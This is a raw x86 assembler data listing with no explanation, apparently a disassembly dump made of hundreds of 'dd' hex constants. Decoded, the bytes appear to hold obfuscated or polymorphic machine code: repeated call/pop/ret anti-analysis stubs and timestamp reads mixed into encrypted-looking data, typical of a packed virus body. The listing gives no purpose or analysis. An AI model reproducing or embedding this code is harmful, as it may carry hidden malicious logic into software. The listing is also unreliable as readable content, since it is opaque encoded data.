		dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 114D23C3h, 6424CC3Bh, 0F5595FFh, 0BD8306A8h,	6A8077Dh
		dd 58840F02h, 8B000000h, 0A80D1985h, 52006A06h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 0B5892E23h
		dd 860Fh, 0E7810000h, 726218E3h, 6A0000C6h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 4911C356h
		dd 0F841678Dh, 0C7D8BF0Fh, 0A80DC185h, 6, 6DBD8B00h, 0E906A807h
		dd 0FFFFF379h, 178B0Fh,	12E90000h, 0A0000000h, 0FAC0CE87h
		dd 85507282h, 4A7FC1C5h, 0E1FD977Bh, 0D5E78174h, 8B30D883h
		dd 6DBD89C1h, 8D06A833h, 0A8338585h, 0F008BF06h, 8B903E18h
		dd 6A9050F8h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 2920C352h, 0A82229BDh,	8B006A06h
		dd 0A826CDBDh, 6A006A06h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 0C3F4C352h,	8D895685h
		dd 6A82809h, 0AE2543BFh, 6858D12h, 6A06AC44h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 44BDC351h, 0D11FB13Bh, 0CB813188h, 54040F0Dh, 0F05C083h
		dd 0B89h, 5830F00h, 66000000h, 722C781h, 24048950h, 32DD9D23h
		dd 6A06A8h, 0E856006Ah,	3, 5EC35E20h, 4247489h,	4244481h
		dd 15h,	0E6C35646h, 70D78198h, 6A5C36B7h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h
		dd 8BF02795h, 4195FFFAh, 6A06A825h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 0B50AC357h
		dd 8589767Ah, 6A80971h,	8C7F8D8Dh, 8FBB06ABh, 0FF74459Dh
		dd 57006AD1h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 0EC8DECFEh, 1415520Ah, 16BB6646h, 0F8BF0FDEh
		dd 339DBD83h, 0F0106A8h, 8E85h,	830F00h, 31000000h, 0A819A5BDh
		dd 6A026A06h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 68C1C355h, 5BEC4CD5h, 0B2BB90D5h
		dd 504BF02Eh, 55006A90h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 276EB1C8h, 0C9BD8B03h, 8906A830h
		dd 0A82131BDh, 1D95FF06h, 6A06A81Eh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 8F03C350h
		dd 0EAE25926h, 0E9CF36A2h, 0D82h, 0E8h,	0ED815D00h, 6AC4410h
		dd 0A890Fh, 5E90000h, 94000000h, 6676D30Dh, 65D9D8Bh, 858D06A8h
		dd 6AB7E2Eh, 0CBBB90FCh, 50587B3Fh, 0CE9h, 0C1781700h
		dd 0DF3750B4h, 3029C6CDh, 0FE89007h, 7A000000h,	0D195A6D5h
		dd 1E61A9A6h, 68545ED6h, 0DE9350Eh, 53000000h, 9D113772h
		dd 500FF465h, 8D1147D8h, 9D29575Bh, 6A817C5h, 35FF645Bh
		dd 0
aQbSf_di	db 'QÃs”±',1Bh,'_d‰%',0
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 0AD8DC352h, 68E0Fh, 0BD2B0000h
		dd 6A805A5h, 33F185FFh,	8B0F06A8h, 6, 40CFC781h, 0FF6A0E97h
		dd 0FFCFBB66h, 1DA9B5FFh, 6A06A8h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 52199C3h, 0EABD592Bh
		dd 0BF668073h, 0BD89D36Bh, 6A83249h, 2A7D95FFh,	0DE906A8h
		dd 0F000001h, 680h, 9FE38100h, 0B037C57Bh, 11958900h, 0E606A815h
		dd 71E4F570h, 9E860h, 7B080000h, 5F3270DDh, 66DBD340h
		dd 17C1DA81h, 0E1BD8B5Fh, 6106A829h, 830F613Ch,	0D0h, 0BE9h
		dd 0F4883E00h, 0DE1B4A0h, 1568015Eh, 0B3C8B60Fh, 6BA7Dh
		dd 0BD8B0000h, 6A83261h, 8B66C18Bh, 8E9FEh, 7680000h, 215A2A18h
		dd 0E8C19D00h, 21BD8904h, 6606A834h, 0B3B7E2F7h, 80B7C82Bh
		dd 7E9D18Bh, 74000000h,	0FA330B23h, 1E93B33h, 0F8000000h
		dd 26C5858Bh, 0FE906A8h, 0EA000000h, 77E6DE3Ah,	1D814B0Ah
		dd 8BA98004h, 0C0831846h, 0DF8B6607h, 0F00C083h, 0D03BDFB7h
		dd 16830Fh, 6E90000h, 54000000h, 47C710D5h, 3AE926h, 0BD0B0000h
		dd 6A80D45h, 251D8D8Bh,	0BD8906A8h, 6A80735h, 0F01E183h
		dd 1F84h, 1DA58300h, 0FE06A825h, 2C98589h, 958906A8h, 6A826C5h
		dd 7AEF81F9h, 0E90B3795h, 0
		dd 0C2F2B58Dh, 6A06ABh,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 170424h, 52420000h, 342F44C3h, 0F1B58987h, 6A06A80Ch
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1B04h
		dd 0C3524200h, 158A6860h, 6D5E01BCh, 1B3195FFh,	6A06A8h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 8E0FF7C3h, 6, 1A81BD8Bh, 860F06A8h, 3, 0B9DAB70Fh, 0DBDh
		dd 839AC780h, 6AFCE1h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 2D62AC3h, 735EEFE8h, 6E860h, 899C0000h
		dd 6252799Bh, 20AF1AB9h, 95895E45h, 6A800E1h, 850F6061h
		dd 0Eh,	9E9h, 0CF257900h, 7C29041h, 61FC0812h, 55006AFCh
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 0C5831B81h, 320DBD8Bh, 0F78106A8h, 0BA48CB2h, 0B8h
		dd 0B8F0F00h, 0F000000h, 581h, 6032BF00h, 0D22B5118h, 0C233ADF5h
		dd 0D003E8D1h, 7504E983h, 4EBF66F4h, 53006A2Eh,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 0E6578DB9h
		dd 0DFA4E6Eh, 88h, 1DC9BD8Bh, 958B06A8h, 6A805B9h, 1605CB81h
		dd 73B70843h, 14698D8Bh, 6A06A8h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1C0424h, 52420000h, 1060C1C3h, 92F64938h
		dd 8D319630h, 6A82659h,	28A0F50h, 60000000h, 8B505B61h
		dd 3188BC2h, 8B188BC1h,	3E8D1C1h, 58188BC2h, 30619D8Bh
		dd 6A06A8h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
		dd 55450000h, 7023ABC3h, 0DE8B66D8h, 0BD83A3B3h, 6A80C91h
		dd 2F840F00h, 0B8000000h, 0
		dd 4FAF8D8Dh, 6A06A8h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 140424h, 56460000h, 0E1FF66C3h, 1FE99D89h, 0BD8306A8h
		dd 6A80BBDh, 89840F00h,	80000004h, 0BD831EF7h, 6A80BBDh
		dd 94840F01h, 66000004h, 624DCB81h, 0BBDBD83h, 0F0306A8h
		dd 44C86h, 0ED9D0B00h, 8906A82Fh, 0A800499Dh, 6A6006h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 44ED0C3h, 9E8h, 22BCE000h, 0BD3324F9h, 0EE8E6CCh, 0C0000000h
		dd 0CF439D8Fh, 0CFC7487Fh, 0AE4B8D3h, 7585893Ah, 5F06A801h
		dd 0D98C665Fh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ch,	5DC35040h, 0B1E6402Ch, 0C015E65Ch, 6A04E180h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 0EA26C352h, 0AE9958Eh, 33840FC9h, 6A000001h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 0F3FEC352h, 0B9A1232Ah, 34F19D33h, 858B06A8h, 6A80BE1h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0C3C35343h
		dd 0AD9D8B1Ch, 3306A805h, 0A81D5D85h, 51006A06h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h
		dd 0D0C6C249h, 0E59531F8h, 5006A810h, 8B665250h, 0E9310FF9h
		dd 14h,	68964828h, 67495B50h, 0EE631A1Dh, 0CEE0F697h, 0E7226ACBh
		dd 489585Ah, 53006A24h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1604h, 0C3534300h, 0E9E3BBAFh, 7, 18B7DC3Eh,	6AF3AAFAh
		dd 51B58900h, 6806A81Eh, 0C84A8AE9h, 81DF8B66h,	79162404h
		dd 0BD8B37D4h, 6A80C55h, 74195FFh, 0BD8B06A8h, 6A80CC5h
		dd 0A2278589h, 6A06ABh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1D0424h, 55450000h, 4E0BD0C3h, 12B68E4Dh, 0E960E681h
		dd 1F0h, 63936BBBh, 5956602Dh, 0A0DE8166h, 858B61D1h, 6ABA21Fh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0E1C35646h
		dd 89A2C0E6h, 0A81EDD8Dh, 0DE906h, 582F0000h, 4FAF4E5Dh
		dd 0FF16577Dh, 0C7330446h, 1800h, 29B50100h, 8B06A834h
		dd 0ABA223B5h, 56006A06h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 0ADF3B73Dh, 0F5D6186h
		dd 0CF80F9B7h, 7D858B48h, 6606A82Bh, 0BB5F381h,	6A0689h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 0CBFE05C3h, 7CE6D53Ah, 69D78166h, 0DB816624h, 858BBA59h
		dd 6A80BE1h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 18h,	0B7C35343h, 5858C49Ah, 5850Fh, 81660000h, 8984BFD7h
		dd 0D4BB0446h, 5027EE1Eh, 13E8h, 0C97CC500h, 0BA73C413h
		dd 73B021Bh, 3F83F5B5h,	125BE367h, 2434895Bh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 5BC35141h, 0C1958964h
		dd 906A82Bh, 0A8219D95h, 1FB5FF06h, 3106ABA2h, 0A8177D8Dh
		dd 99B16806h, 481D9E6h,	386A4E24h, 51006A26h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 0BAC7CDC6h
		dd 858DA347h, 6ABA227h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 19h, 57C35141h, 0A3A12D6Eh, 0DB80F514h, 1AB350E1h
		dd 6A240489h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 4B45C350h, 0B5A1C70Ah,	0E781F46Fh
		dd 1C5C65C1h, 19C19D0Bh, 95FF06A8h, 6A80741h, 9E9h, 0FFD2EE00h
		dd 780BAA22h, 85296215h, 6A8110Dh, 53006A61h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 7C932BC7h
		dd 799D339Fh, 0C706A807h, 0A80BBD85h, 306h, 0BD83F900h
		dd 6ABA227h, 52840F00h,	6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 4EA5C357h
		dd 65B57747h, 8B52DA5Ch, 0A82EA19Dh, 44BF6606h,	3AE988h
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
		dd 55450000h, 0B9D15EC3h, 0C305010h, 11440011h,	10E8C101h
		dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
		dd 1116400h, 3010E8C1h,	21144h,	58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 27619D8Bh, 0EE906A8h, 0FC000000h
		dd 9AE7196Ch, 0B05346D4h, 2BB60933h, 50006AB0h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 858DBB10h
		dd 0BD832FAFh, 6A80BBDh, 27850F03h, 0BB000004h,	310A7D29h
		dd 0A227BD83h, 0F0006ABh, 41584h, 1E1EBF00h, 0B5FF0250h
		dd 6ABA227h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Dh,	4CC35343h, 0E5FDB3AEh, 0E42CE1C5h, 0F995FF8Eh
		dd 0F06A815h, 0B58BD8B7h, 6ABA21Bh, 9B9BD8Bh, 0C7FC06A8h
		dd 1000106h, 96D98B00h,	0E88A7CBBh, 0BF665078h,	6A9637E3h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 4154C350h, 1A606B2Fh, 0CE960h, 0E9DE0000h
		dd 49300B62h, 0FB2F517Eh, 11E90B88h, 0AB000000h, 0C3848C14h
		dd 6803B15h, 6D18A068h,	28A29CB4h, 27B5FF61h, 8B06ABA2h
		dd 0A81FB59Dh, 9995FF06h, 2906A821h, 0A8001995h, 10E906h
		dd 7FBC0000h, 2E1905DFh, 0C60B6867h, 0BDF6AA4Fh, 0B58BEC51h
		dd 6ABA21Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 15h,	43C35646h, 13E9A9h, 2C860000h, 0F9ED2483h, 4C81D9Dh
		dd 20A38DCDh, 0BD69F57Bh, 41858BFAh, 6A06A80Eh,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 0E9D8C352h, 0Eh, 0EADA8485h,	443A784Ah, 4D8FF04Eh, 840F1745h
		dd 6, 2C719D0Bh, 868906A8h, 0C4h, 7E95757h, 0D2000000h
		dd 56AD435Bh, 5B5FBD5Ch, 5B9958Bh, 9D8B06A8h, 6A81499h
		dd 8B04C283h, 0A80D919Dh, 20508906h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 0ADC35343h,	98589B0h, 8B06A808h
		dd 0A810FD9Dh, 0CE858D06h, 6A06ABB7h, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 88D5C356h
		dd 35B509D5h, 8906A81Bh, 0B886h, 0D624BB00h, 6A1762h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0B6C35040h, 3E9505B3h
		dd 0FF68312Dh, 0ABA227B5h, 0FF3FB706h, 0A81E1D95h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 8DF381D5h, 960EC377h, 5650F98Bh, 310F5250h, 14E8h, 0CE52ED00h
		dd 0A59968E5h, 625DE451h, 0C37C37F7h, 0DE08314Dh, 585A5F64h
		dd 6A965Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 0EB2D28C3h, 0B3F12C3Ch, 860F254Eh, 5, 64D78166h
		dd 5E9DCh, 1D3B0000h, 0FF475186h, 0ABA227B5h, 39950106h
		dd 0FF06A801h, 0A82A6995h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 57577079h, 5F5FF98Bh
		dd 2E3DBD83h, 0F0006A8h, 4E84h,	56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 0DBD8B68h
		dd 5006A811h, 6A243489h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 28E1C357h, 0BD893F9Ah
		dd 6A82AF1h, 0FFDF8B66h, 0ABA227B5h, 51006A06h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 55BD8B4Bh
		dd 0FF06A817h, 0A8318595h, 199D2906h, 0FF06A825h, 0ABA227B5h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 7FAA9EAFh, 3079D9FDh, 0BB663F37h, 0BD31AB63h
		dd 6A8211Dh, 0F5595FFh,	0B5BB06A8h, 83580907h, 0A8077DBDh
		dd 840F0206h, 63h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Bh, 0D3C35141h, 0A4EEDEB2h, 0BBC86F19h, 1F0FBB59h
		dd 0D19858Bh, 0FE906A8h, 16000000h, 7A28C1A4h, 39D00D6Bh
		dd 81CBFB10h, 0C6D59Dh,	52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 0C73BD7AAh, 0A80DC185h
		dd 6, 0DBD0100h, 0F06A800h, 47E9DBBFh, 0FFFFFF3h, 0C18BDFBFh
		dd 858DAEB3h, 6A83385h,	0F98B90F9h, 6A9ABF50h, 3190450Dh
		dd 0A800C985h, 0F006A06h, 0D82h, 8E900h, 34900000h, 0C49262C6h
		dd 6A0F90h, 0E856006Ah,	3, 5EC35E20h, 4247489h,	4244481h
		dd 1Dh,	0FDC35646h, 5C4B77h, 18F744Eh, 0DFB70F2Fh, 8D8BDB80h
		dd 0AC537185h, 1BD0306h, 8306A817h, 6A05C0h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 43F7DEC3h
		dd 106324A9h, 8A0F50E5h, 4, 4E18BF66h, 1240489h, 0A81BA185h
		dd 89006A06h, 0A82FED85h, 6A006A06h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 0ECA8C352h
		dd 60267497h, 0A6670C0Fh, 386C12BFh, 0FE965h, 0EDD10000h
		dd 0D0A92724h, 51F4585h, 0C618759h, 4195FF31h, 0F06A825h
		dd 680h, 81BD0300h, 8D06A82Dh, 0AB8C7F8Dh, 79952906h, 0FF06A80Eh
		dd 0B59589D1h, 0E906A82Dh, 7, 36668D8Eh, 83AFD96Bh, 0A8339DBDh
		dd 850F0106h, 0BEh, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 1Dh, 0B7C35141h, 0BEC7C1FDh, 77EFD7BEh, 0FABF0F4Dh
		dd 6A026Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 39C63C3h,	0E563A767h, 0E990B4EBh,	6, 7D32C36h
		dd 5050D35Dh, 866EBB52h, 310F5E96h, 6A90585Ah, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 0FD2AC350h, 0CA4B8516h, 84546A8Dh, 0D1BD0960h, 0F06A815h
		dd 0FF61D0B7h, 0A81E1D95h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 9AAFF3F9h
		dd 19E9528Ch, 0E800000Dh, 0
		dd 7BED815Dh, 6A06AC53h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 8057C353h, 6E05E202h
		dd 2DFDBD31h, 0DE906A8h, 75000000h, 8B4D4D87h, 0F7F6C7Ah
		dd 0CD059B35h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 16h,	0A3C35040h, 6FBFEB73h, 0BF08C101h, 2D7B54A4h, 7E2E858Dh
		dd 6A06ABh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 2F5B3EC3h, 1EBDE525h, 0BB90F55Ah,	2131D602h
		dd 905B5350h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 17h,	8C35747h, 8BD18ABCh, 35FF64FAh,	0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 66C35747h
		dd 3DB589F8h, 8906A807h, 0A81E419Dh, 25896406h,	0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 78C35747h
		dd 85FFF8A5h, 6A833F1h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 78C35141h, 73B93292h,	8166CE99h, 6AEDBAD3h
		dd 61B5FFFFh, 6A06A815h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 0B355C356h,	0E6A64452h
		dd 5E80Fh, 1D3B0000h, 29475186h, 0A82F0595h, 0DF8B5B06h
		dd 2A7D95FFh, 0F7E906A8h, 56000000h, 0B05B0DB3h, 70E6FC00h
		dd 1F958589h, 71E406A8h, 14FD9D8Bh, 613C06A8h, 0D8830Fh
		dd 8B660000h, 0C8B60FDEh, 2B919D8Bh, 6BA06A8h, 29000000h
		dd 0A810DD95h, 0C1C18B06h, 8B5704E8h, 0A81581BDh, 0F7665F06h
		dd 0C82BF9E2h, 29D18BF8h, 0A83435BDh, 0D99D8906h, 0E906A817h
		dd 0Ch,	10D1BD89h, 0BD2906A8h, 6A801DDh, 3159858Bh, 0FA8B06A8h
		dd 0EFF7E781h, 0C08372B5h, 83F8B307h, 3DB700C0h, 830FD03Bh
		dd 33h,	0E8FEB70Fh, 7, 5F91671Dh, 29030769h, 0A82F318Dh
		dd 53E95B06h, 0F000000h, 689h, 5BD8900h, 0F06A832h, 685h
		dd 61BD8B00h, 8B06A831h, 0A81E4D8Dh, 0C18D8906h, 8306A82Eh
		dd 840F01E1h, 26h, 0A5835FB3h, 6A81E4Dh, 6685B7FEh, 0C547D781h
		dd 31599589h, 48BF06A8h, 894DA538h, 0A82261BDh,	0E906h
		dd 0B58D0000h, 6ABD2A2h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Dh, 55C35141h, 39AD6CF0h,	44E8610Bh, 8CDB8184h
		dd 6A7A5211h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1804h, 0C3514100h, 11D3560Ah, 0CE801h, 1C610000h, 0DBF903AEh
		dd 35D0B911h, 14E90B06h, 3B000000h, 0B59AFEF2h,	95FCD08Ah
		dd 56FA2CAFh, 0E029D683h, 5B067BFBh, 1B3195FFh,	0BD8B06A8h
		dd 6A82E55h, 79EB9h, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1404h, 0C3534300h, 8937BB02h, 0E18365D8h
		dd 1D9D0BFCh, 0FC06A82Fh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 0B1C35343h, 0BBF3C53Fh, 36679CE7h, 0DF81F97Ah
		dd 7EB4E3C7h, 0B8h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1504h, 0C3524200h, 9D033EC9h, 6A8003Dh, 34A19D8Bh
		dd 0BA06A8h, 6A000000h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 0EEA1C350h,	7663CC5h
		dd 3CBF6636h, 0C233ADC4h, 0D003E8D1h, 7504E983h, 21B589F4h
		dd 6A06A826h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 0F422C356h, 0BE9h, 6440BA00h
		dd 63065D60h, 0EE13EBBAh, 880Dh, 7DBD8B00h, 8B06A829h
		dd 0A805B995h, 0D5958906h, 6006A81Bh, 1C098D09h, 9D8B06A8h
		dd 6A82D09h, 698D8B61h,	6A06A814h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 0CAFAC351h
		dd 518E6E26h, 50708E9Fh, 188BC28Bh, 188BC103h, 0E8D1C18Bh
		dd 188BC203h, 0C3816658h, 0B70F2684h, 91BD83DAh, 6A80Ch
		dd 8B840Fh, 6A0000h, 3E851h, 59200000h,	4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 0D8532EC3h, 81CA6770h, 0F1D376Eh
		dd 0B8FAB7h, 6A000000h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 3957C353h, 0A5190ABDh
		dd 0B5BD03D1h, 8D06A817h, 0A84FAF8Dh, 53006A06h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h
		dd 8A597E81h, 6AB616ACh, 0D8BB66EFh, 89E1FFBAh,	0A80C019Dh
		dd 0BDBD8306h, 6A80Bh, 427840Fh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 890F24C3h
		dd 5, 0D4D791BBh, 0BDBD830Ch, 106A80Bh,	40E840Fh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 0A6F3BAC3h, 0D88B662Bh, 0BBDBD83h, 0F0306A8h, 3A986h
		dd 919D8B00h, 8106A81Eh, 0F79F0FF3h, 0BD8B600Fh, 6A81A09h
		dd 29D98C66h, 0A816F98Dh, 4E18006h, 0D1D985BFh,	0FC90A6Fh
		dd 12D84h, 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h
		dd 1B04h, 0C3574700h, 93693310h, 0FB1F3BBAh, 12E9h, 69F01800h
		dd 67B1B3A2h, 0ADFF8335h, 0BD2829Ah, 6032CF40h,	9DBD23FCh
		dd 6106A821h, 0BE1858Bh, 6A06A8h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1D0424h, 51410000h, 2158B3C3h, 0BBBB2796h
		dd 33C5CBEFh, 0A81D5D85h, 0FBB70F06h, 50D98B90h, 0B5958990h
		dd 6A06A833h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1704h, 0C3554500h, 0DF98E090h, 1ADF8156h, 5F6F4756h
		dd 0D21D9768h, 66525075h, 0FE216BFh, 6E931h, 6E1C0000h
		dd 1D1370E4h, 3481585Ah, 0CD1E6824h, 2DBD8B75h,	0FF06A80Eh
		dd 0A8074195h, 5F7BBF06h, 858954CAh, 6ABA227h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 15h, 23C35040h, 98D89F8h
		dd 0E906A81Ah, 1E4h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 0E2C35141h, 9D1F4D19h, 858B6E93h, 6ABA21Fh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 66C35242h
		dd 28DE245Eh, 0C7DA8BF1h, 1800h, 0C9BD8B00h, 8B06A820h
		dd 0ABA223B5h, 799D8B06h, 8B06A82Dh, 0A82B7D85h, 6E806h
		dd 5A2D0000h, 2BA5FB6Ah, 6606895Fh, 0EE8DE8Bh, 12000000h
		dd 0DFE6B63Ah, 378D19A2h, 7A2EA2F2h, 850F31h, 5B000000h
		dd 0BE1858Bh, 850106A8h, 6A81C19h, 0E9044689h, 0Ah, 0DFDFF93Fh
		dd 7DD447A5h, 505047DEh, 52505152h, 585A310Fh, 50310F5Fh
		dd 0F5B5052h, 5A616031h, 89585A58h, 0BD892434h,	6A81B6Dh
		dd 0A21FB5FFh, 6A06ABh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 0F4660C3h, 381h,	0FABF0F00h, 0FB93268h
		dd 7EBF669Ah, 2404811Ch, 660F4ACDh, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 0DBC35747h,	2617A52Fh, 0CE891h
		dd 0A5D60000h, 82013818h, 99C63DE7h, 0BD0BF1DBh, 6A801A5h
		dd 27858D5Bh, 6A06ABA2h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 71F4C355h, 8BF8BF0Fh
		dd 0A805899Dh, 8D896006h, 6A80AADh, 14E85061h, 26000000h
		dd 0A2EAE259h, 0C6C8CF36h, 408E2FBEh, 0CB113DE8h, 0B779C1B7h
		dd 4895F55h, 51006A24h,	3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 918D89A0h, 8906A82Bh, 0A82139BDh
		dd 4195FF06h, 8106A807h, 642628EFh, 8A0F603Dh, 6, 1A39B58Bh
		dd 816606A8h, 61C819C7h, 8DBD0161h, 0C706A827h,	0A80BBD85h
		dd 306h, 0BD8B6000h, 6A807B9h, 226D9589h, 836106A8h, 0ABA227BDh
		dd 840F0006h, 62h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 19h, 0D6C35141h, 0F509C053h, 7EE0BBAFh, 52E91367h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h
		dd 42000000h, 7884C352h, 17E1BD29h, 0FE906A8h, 75000000h
		dd 2D35B1B1h, 2366A036h, 1E017CBDh, 3050FB76h, 4400110Ch
		dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
		dd 4305036h, 11640011h,	10E8C101h, 2114430h, 3116400h
		dd 4E98358h, 1BEBE775h,	10E8C150h, 3116428h, 2114430h
		dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 51006AC0h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 43CBEDCEh, 0BF6652DDh, 835FFE74h, 0A80BBDBDh, 850F0306h
